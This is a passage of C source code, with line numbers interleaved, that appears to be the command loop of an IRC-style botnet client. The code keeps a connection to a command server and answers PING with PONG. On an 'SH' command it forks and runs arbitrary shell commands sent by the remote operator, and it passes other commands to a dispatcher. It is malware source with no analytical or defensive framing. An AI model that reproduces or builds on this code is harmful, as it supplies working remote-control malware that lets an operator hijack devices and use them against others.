newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
1985
for (on = 0; on < numpids; on++) newpids[on] = pids[on];
1986
free(pids);
1987
pids = newpids;
1988
}
1989
1990
commBuf[got] = 0x00;
1991
1992
trim(commBuf);
1993
1994
if(strstr(commBuf, "PING") == commBuf)
1995
{
1996
sockprintf(mainCommSock, "PONG");
1997
continue;
1998
}
1999
2000
if(strstr(commBuf, "DUP") == commBuf) exit(0);
2001
2002
unsigned char *message = commBuf;
2003
2004
if(*message == '!')
2005
{
2006
unsigned char *nickMask = message + 1;
2007
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
2008
if(*nickMask == 0x00) continue;
2009
*(nickMask) = 0x00;
2010
nickMask = message + 1;
2011
2012
message = message + strlen(nickMask) + 2;
2013
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
2014
2015
unsigned char *command = message;
2016
while(*message != ' ' && *message != 0x00) message++;
2017
*message = 0x00;
2018
message++;
2019
2020
unsigned char *tmpcommand = command;
2021
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
2022
2023
if(strcmp(command, "SH") == 0)
2024
{
2025
unsigned char buf[1024];
2026
int command;
2027
if (listFork()) continue;
2028
memset(buf, 0, 1024);
2029
szprintf(buf, "%s 2>&1", message);
2030
command = fdpopen(buf, "r");
2031
while(fdgets(buf, 1024, command) != NULL)
2032
{
2033
trim(buf);
2034
// sockprintf(mainCommSock, "%s", buf);
2035
memset(buf, 0, 1024);
2036
sleep(1);
2037
}
2038
fdpclose(command);
2039
exit(0);
2040
}
2041
2042
unsigned char *params[10];
2043
int paramsCount = 1;
2044
unsigned char *pch = strtok(message, " ");
2045
params[0] = command;
2046
2047
while(pch)
2048
{
2049
if(*pch != '\n')
2050
{
2051
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
2052
memset(params[paramsCount], 0, strlen(pch) + 1);
2053
strcpy(params[paramsCount], pch);
2054
paramsCount++;
2055
}
2056
pch = strtok(NULL, " ");
2057
}
2058
2059
processCmd(paramsCount, params);
2060
2061
if(paramsCount > 1)
2062
{
2063
int q = 1;
2064
for(q = 1; q < paramsCount; q++)
2065
{
2066
free(params[q]);
2067
}
2068
}
2069
}
2070
}
2071
//printf("Link closed by server.\n");
2072
}
2073
2074
return 0;
2075
}
2076